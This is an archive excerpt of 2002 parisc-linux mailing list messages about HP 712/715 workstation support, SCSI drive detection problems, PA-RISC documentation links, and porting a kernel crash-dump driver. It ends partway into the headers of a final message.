Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sh.od.inet (CPE0080C82B2487.cpe.net.cable.rogers.com [24.112.142.143])
	by dsl2.external.hp.com (Postfix) with ESMTP id 22D65482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  8 Jan 2002 14:43:44 -0700 (MST)
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.0/8.11.0) id g08LidA04274;
	Tue, 8 Jan 2002 16:44:39 -0500
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>,
	Jbit of Plasma <james_a_n_lee@yahoo.com>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <3C3B165D.2030101@yahoo.com>; from james_a_n_lee@yahoo.com on Tue, Jan 08, 2002 at 03:55:09PM +0000
X-Useless-Header: oooohhmmm, chant the email mantra...
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13650

> Hi!
> I have a HP 712/60 sitting in my room doing nothing, it has no memory so i'm debating whether or not i should get it up and running.
> Basicly, anybody know what memory it uses (i assume ecc 72-pin simm) and anybody know what it performs like or whats supported in linux (sound/gfx/lan)
> Thanks for any help ;P
> 
> --jbit
>

Jbit,

Our 712/60 works marvels! It's a great little box and I used to do
daily glibc / gcc / linux compiles on the box (mind you it would take
about 8 hrs to compile glibc).

The fb code works great on the 712/60... the first time I saw the
penguin in the conrner of the bootup screen made me smile :)

ditto for lan (AUI/RJ45) ... works great.

Sound? Never tried. Haven enough MP3 playing boxes in the office ^__^;;

c.



From - Thu Nov 08 21:21:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 53c700 SCSI Driver Problems ~?= 712/80 and Quantum Fireball 1050MB HD problem
Date: Tue, 8 Jan 2002 17:00:22 -0500
Lines: 52
Approved: news@gmane.org
Message-ID: <20020108170022.X11181@systemhalted>
References: <20020103180330.464F9482E@dsl2.external.hp.com> <001001c19861$55b59de0$0800a8c0@beta>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620940 584 80.91.229.3 (22 Nov 2014 01:49:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:00 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Sorin Ghinescu <sghinesc@columbus.rr.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan  8 14:59:27 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sh.od.inet (CPE0080C82B2487.cpe.net.cable.rogers.com [24.112.142.143])
	by dsl2.external.hp.com (Postfix) with ESMTP id A229F482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  8 Jan 2002 14:59:26 -0700 (MST)
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.0/8.11.0) id g08M0M004347;
	Tue, 8 Jan 2002 17:00:22 -0500
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>,
	Sorin Ghinescu <sghinesc@columbus.rr.com>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <001001c19861$55b59de0$0800a8c0@beta>; from sghinesc@columbus.rr.com on Tue, Jan 08, 2002 at 11:27:10AM -0500
X-Useless-Header: oooohhmmm, chant the email mantra...
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13651

> Help with the following problem would be much appreciated:
> 
> I boot parisc-linux from cd-drive and everything goes fine except the HD
> is not detected. All other hardware is correctly detected. The
> installation program recommends passing args to boot: or load
> appropriate module.
> 
> Has anyone experienced this kind of problem?
> Thanks
> Sorin
>

Can you try to get a snip of text printed by the SCSI driver?

I seem to be having some issues with the newer SCSI driver
(October merge) on my 715/50's ... I'll post my info tommorow.

In particular (0.9.3 Install with apt-get updates):

Kernel 2.4.16-pa21 (Will be updating tommorow)

- Most of the drives I put into the box refuse to spinup.
	= E.g. "spinning up....." until timeout

- Boxes with 525MB HP Quantum ProDrive HD's lockup solid in
  mke2fs while writing superblocks (always happens).

- Drives that do spinup are reported as 0MB's because the 
  sector size was invalid (4GIG Barracudas)

- Random lockups accessing the drive on 712/50's that 
  seem to have functional drives. Usually manifested as
  a solid lock at a Random time during Init scripts.
  (I know cause I ran init=/bin/sh and straced evertyhing)

Most of our cluster is running 2.4.9-pa25 <= Very Stable.

Mind you, the latest kernel runs fine on our 712/60. 
And since the problem _looks_ to be SCSI related...
that's what I'm going to try investigate.

=-= Help investigating =-=

I'm wondering if I'll need to get kgdb??
Or something other than serial?
The box _locks_ solid, no response, and I'm not quite sure
how to diagnose that.

c.




From - Thu Nov 08 21:21:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthieu Delahaye <delahaym@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP 712/60
Date: Tue, 08 Jan 2002 23:01:25 +0100
Lines: 23
Approved: news@gmane.org
Message-ID: <3C3B6C35.6020109@esiee.fr>
References: <3C3B165D.2030101@yahoo.com> <20020108164439.W11181@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620941 586 80.91.229.3 (22 Nov 2014 01:49:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:01 +0000 (UTC)
Cc: Jbit of Plasma <james_a_n_lee@yahoo.com>,
	parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan  8 15:01:27 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5ECD0482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  8 Jan 2002 15:01:27 -0700 (MST)
Original-Received: from esiee.fr (pc5158e.esiee.fr [147.215.50.171])
	by mail.esiee.fr (Postfix) with ESMTP
	id 8CD2249BF0; Tue,  8 Jan 2002 23:01:25 +0100 (CET)
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.7) Gecko/20011229
X-Accept-Language: fr, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13652

>
>
>
>Sound? Never tried. Haven enough MP3 playing boxes in the office ^__^;;
>
Works now with recent patch of Harmony as soon as you don't compilee 
gcc/libc/linux at the same time.

Matthieu

>
>c.
>
>_______________________________________________
>parisc-linux mailing list
>parisc-linux@lists.parisc-linux.org
>http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>






From - Thu Nov 08 21:21:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PIC assembly
Date: Tue, 08 Jan 2002 18:05:07 -0700
Lines: 22
Approved: news@gmane.org
Message-ID: <20020109010507.80989482A@dsl2.external.hp.com>
References: <200201071839.g07IdNoC000344@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620941 607 80.91.229.3 (22 Nov 2014 01:49:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:01 +0000 (UTC)
Cc: randolph@tausq.org, parisc-linux@parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan  8 18:05:07 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 80989482A; Tue,  8 Jan 2002 18:05:07 -0700 (MST)
In-Reply-To: Message from "John David Anglin" <dave@hiauly1.hia.nrc.ca> 
   of "Mon, 07 Jan 2002 13:39:23 EST." <200201071839.g07IdNoC000344@hiauly1.hia.nrc.ca> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13653

"John David Anglin" wrote:
> > This page contains links to various useful documents including the 32-bit
> > runtime:
> > 
> > <http://h21007.www2.hp.com/dspp/tech/tech_TechTypeListingPage_IDX/1,1704,10
>   403,00.html>.
> > 
> > The document itself is here:
> > 
> > <http://devresource.hp.com/STK/partner/rad_10_20.pdf>.
> 
> Maybe copies of these documents could be made accessible from the PA-RISC
> LINUX Tech Documentation page as some of these are hard to find.

I've been given the OK to link into h21007.www2.hp.com website and promised
the URLs for specific documents wouldn't change (too) suddenly.
I'll add those links in the next couple of days to p-l.org
"Tech Documentation" to those.

grant



From - Thu Nov 08 21:21:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Phil Anderson <andersop@neverland.ncssm.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 712/80 and Quantum Fireball 1050MB HD problem
Date: Wed, 9 Jan 2002 00:37:32 -0500 (EST)
Lines: 41
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0201090036320.21716-100000@bob.ncssm.edu>
References: <001001c19861$55b59de0$0800a8c0@beta>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620941 617 80.91.229.3 (22 Nov 2014 01:49:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:01 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: Sorin Ghinescu <sghinesc@columbus.rr.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan  8 22:39:31 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bob.ncssm.edu (bob.ncssm.edu [152.34.37.42])
	by dsl2.external.hp.com (Postfix) with SMTP id 155EA482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  8 Jan 2002 22:39:30 -0700 (MST)
Original-Received: (qmail 22104 invoked by uid 20004); 9 Jan 2002 05:37:32 -0000
Original-Received: from localhost (sendmail-bs@127.0.0.1)
  by localhost with SMTP; 9 Jan 2002 05:37:32 -0000
X-X-Sender: <andersop@bob.ncssm.edu>
In-Reply-To: <001001c19861$55b59de0$0800a8c0@beta>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13654

two of my 3 712/80's have had this happen. I write this letter from the
3rd working one. I think it's just dead SCSI drives, because on at least 1
of the 2 I have I fail to hear the HDD spin up as the machine powers on.

-phil



On Tue, 8 Jan 2002, Sorin Ghinescu wrote:

> Help with the following problem would be much appreciated:
>
> I boot parisc-linux from cd-drive and everything goes fine except the HD
> is not detected. All other hardware is correctly detected. The
> installation program recommends passing args to boot: or load
> appropriate module.
>
> Has anyone experienced this kind of problem?
> Thanks
> Sorin
>
>
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>

-- 
===============================================================================

Phil Anderson
UNIX Systems Administrator
andersop@neverland.ncssm.edu
The_13th_Ewok@hotmail.com

"Go CRAZY? Don't mind if I do! Woowoowoowoo!" -Homer Simpson




From - Thu Nov 08 21:21:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] parisc Dump: lkcd port.
Date: Wed, 09 Jan 2002 17:46:45 +0100
Organization: H.P
Lines: 41
Approved: news@gmane.org
Message-ID: <3C3C73F5.139E3A6D@admin.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------CA734C9874B7279D5CA559CB"
X-Trace: ger.gmane.org 1416620942 620 80.91.229.3 (22 Nov 2014 01:49:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:02 +0000 (UTC)
To: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan  9 09:48:52 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bbnrel4.net.external.hp.com (bbnrel4.net.external.hp.com [155.208.254.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2839A482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  9 Jan 2002 09:48:52 -0700 (MST)
Original-Received: from hpfrcu03.france.hp.com (hpfrcu03.france.hp.com [15.129.16.51])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP id 2CA5F9F
	for <parisc-linux@lists.parisc-linux.org>; Wed,  9 Jan 2002 17:48:45 +0100 (MET)
Original-Received: from admin.france.hp.com (ssdpc48.france.hp.com [15.129.234.2]) by hpfrcu03.france.hp.com with ESMTP (8.7.6/8.7.3 SMKit7.02) id RAA09977 for <parisc-linux@lists.parisc-linux.org>; Wed, 9 Jan 2002 17:48:13 +0100 (MET)
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.5-15 i686)
X-Accept-Language: French, fr, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13655

This is a multi-part message in MIME format.
--------------CA734C9874B7279D5CA559CB
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

	Hi
I've already ask in the past, if there was a dump driver
for the linux parisc. The answer was no. So, because I've 
litle time for It I've restart this port. Now I've a question
about a function used for Alpha and i386. 
In arch/alpha/kernel/setup.c and arch/i386/mm/init.c, there is
a function called page_is_ram. It seems that this function is 
used by the dump driver to know if a page is a physical page or 
not. So my question is: does this function exist for parisc ?

	Thanks.

-- 
	Vidal Bruno, (770-4271)
        SSD-HA Team, HP-UX & LINUX Support
	bruno_vidal@admin.france.hp.com
--------------CA734C9874B7279D5CA559CB
Content-Type: text/x-vcard; charset=iso-8859-1;
 name="bruno_vidal.vcf"
Content-Transfer-Encoding: base64
Content-Description: Card for Bruno Vidal
Content-Disposition: attachment;
 filename="bruno_vidal.vcf"

YmVnaW46dmNhcmQgCm46QnJ1bm87VklEQUwKdGVsO2ZheDowMS02OS04Mi02MC0xNAp0ZWw7
d29yazowMS02OS0yOS00Mi03MQp4LW1vemlsbGEtaHRtbDpUUlVFCnVybDp3d3cuZnJhbmNl
LmhwLmNvbQpvcmc6U29sdXRpb24gQ2VudGVyCnZlcnNpb246Mi4xCmVtYWlsO2ludGVybmV0
OmJydW5vX3ZpZGFsQGhwLmNvbQp0aXRsZTpFeHBlcnQgTG9naWNpZWwgRW52aXJvbm5lbWVu
dCBIYXV0ZSBEaXNwb25pYmlsaXTpCmFkcjtxdW90ZWQtcHJpbnRhYmxlOjs7SFAgRnJhbmNl
PTBEPTBBO1ouQSBkZSBDb3VydGFib2V1ZjsxIEF2LiBkdSBDYW5hZGE7OTE5NDcgTGVzIFVs
aXMgY2VkZXg7RnJhbmNlCngtbW96aWxsYS1jcHQ6OzI2MjA4CmZuOlZJREFMIEJydW5vCmVu
ZDp2Y2FyZAo=
--------------CA734C9874B7279D5CA559CB--




From - Thu Nov 08 21:21:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] loading the dump modules: will taint the kernel.
Date: Wed, 09 Jan 2002 18:11:13 +0100
Organization: H.P
Lines: 41
Approved: news@gmane.org
Message-ID: <3C3C79B1.2D4AF279@admin.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------2C016B5518D0C3BD5490E0EB"
X-Trace: ger.gmane.org 1416620942 622 80.91.229.3 (22 Nov 2014 01:49:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:02 +0000 (UTC)
To: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan  9 10:13:14 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bbnrel4.net.external.hp.com (bbnrel4.net.external.hp.com [155.208.254.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1874E482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  9 Jan 2002 10:13:14 -0700 (MST)
Original-Received: from hpfrcu03.france.hp.com (hpfrcu03.france.hp.com [15.129.16.51])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP id B34ACEA
	for <parisc-linux@lists.parisc-linux.org>; Wed,  9 Jan 2002 18:13:12 +0100 (MET)
Original-Received: from admin.france.hp.com (ssdpc48.france.hp.com [15.129.234.2]) by hpfrcu03.france.hp.com with ESMTP (8.7.6/8.7.3 SMKit7.02) id SAA11407 for <parisc-linux@lists.parisc-linux.org>; Wed, 9 Jan 2002 18:12:41 +0100 (MET)
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.5-15 i686)
X-Accept-Language: French, fr, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13656

This is a multi-part message in MIME format.
--------------2C016B5518D0C3BD5490E0EB
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

	Hi
I've created a modules for the dump driver. When loading the
modules I receive the following message:
#insmod dump
Using /lib/modules/2.4.17-pa3/kernel/drivers/dump/dump.o
Warning: loading /lib/modules/2.4.17-pa3/kernel/drivers/dump/dump.o will taint the kernel: no license

But everything seems okay, the modules is here, everything is here ???
What means this message ?

	thanks.

-- 
	Vidal Bruno, (770-4271)
        SSD-HA Team, HP-UX & LINUX Support
	bruno_vidal@admin.france.hp.com
--------------2C016B5518D0C3BD5490E0EB
Content-Type: text/x-vcard; charset=iso-8859-1;
 name="bruno_vidal.vcf"
Content-Transfer-Encoding: base64
Content-Description: Card for Bruno Vidal
Content-Disposition: attachment;
 filename="bruno_vidal.vcf"

YmVnaW46dmNhcmQgCm46QnJ1bm87VklEQUwKdGVsO2ZheDowMS02OS04Mi02MC0xNAp0ZWw7
d29yazowMS02OS0yOS00Mi03MQp4LW1vemlsbGEtaHRtbDpUUlVFCnVybDp3d3cuZnJhbmNl
LmhwLmNvbQpvcmc6U29sdXRpb24gQ2VudGVyCnZlcnNpb246Mi4xCmVtYWlsO2ludGVybmV0
OmJydW5vX3ZpZGFsQGhwLmNvbQp0aXRsZTpFeHBlcnQgTG9naWNpZWwgRW52aXJvbm5lbWVu
dCBIYXV0ZSBEaXNwb25pYmlsaXTpCmFkcjtxdW90ZWQtcHJpbnRhYmxlOjs7SFAgRnJhbmNl
PTBEPTBBO1ouQSBkZSBDb3VydGFib2V1ZjsxIEF2LiBkdSBDYW5hZGE7OTE5NDcgTGVzIFVs
aXMgY2VkZXg7RnJhbmNlCngtbW96aWxsYS1jcHQ6OzI2MjA4CmZuOlZJREFMIEJydW5vCmVu
ZDp2Y2FyZAo=
--------------2C016B5518D0C3BD5490E0EB--




From - Thu Nov 08 21:21:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] loading the dump modules: will taint the kernel.
Date: Wed, 9 Jan 2002 09:22:17 -0800
Lines: 22
Approved: news@gmane.org
Message-ID: <20020109172217.GH3247@tausq.org>
References: <3C3C79B1.2D4AF279@admin.france.hp.com>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620942 627 80.91.229.3 (22 Nov 2014 01:49:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:02 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan  9 10:22:30 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0774F482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  9 Jan 2002 10:22:30 -0700 (MST)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id lhhfkaaa for parisc-linux@lists.parisc-linux.org; Wed, 9 Jan 2002 10:16:51 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 16OMQb-0000wh-00; Wed, 09 Jan 2002 09:22:17 -0800
Content-Disposition: inline
In-Reply-To: <3C3C79B1.2D4AF279@admin.france.hp.com>
User-Agent: Mutt/1.3.24i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13657

In reference to a message from Bruno Vidal, dated Jan 09:
> 	Hi
> I've created a modules for the dump driver. When loading the
> modules I receive the following message:
> #insmod dump
> Using /lib/modules/2.4.17-pa3/kernel/drivers/dump/dump.o
> Warning: loading /lib/modules/2.4.17-pa3/kernel/drivers/dump/dump.o will taint the kernel: no license
> 
> But everything seems okay, the modules is here, everything is here ???
> What means this message ?

Add this, or something similar, to your driver:
MODULE_LICENSE("GPL");

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^



From - Thu Nov 08 21:21:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bryan W. Headley" <bheadley@interaccess.com>
Newsgroups: gmane.linux.ports.parisc
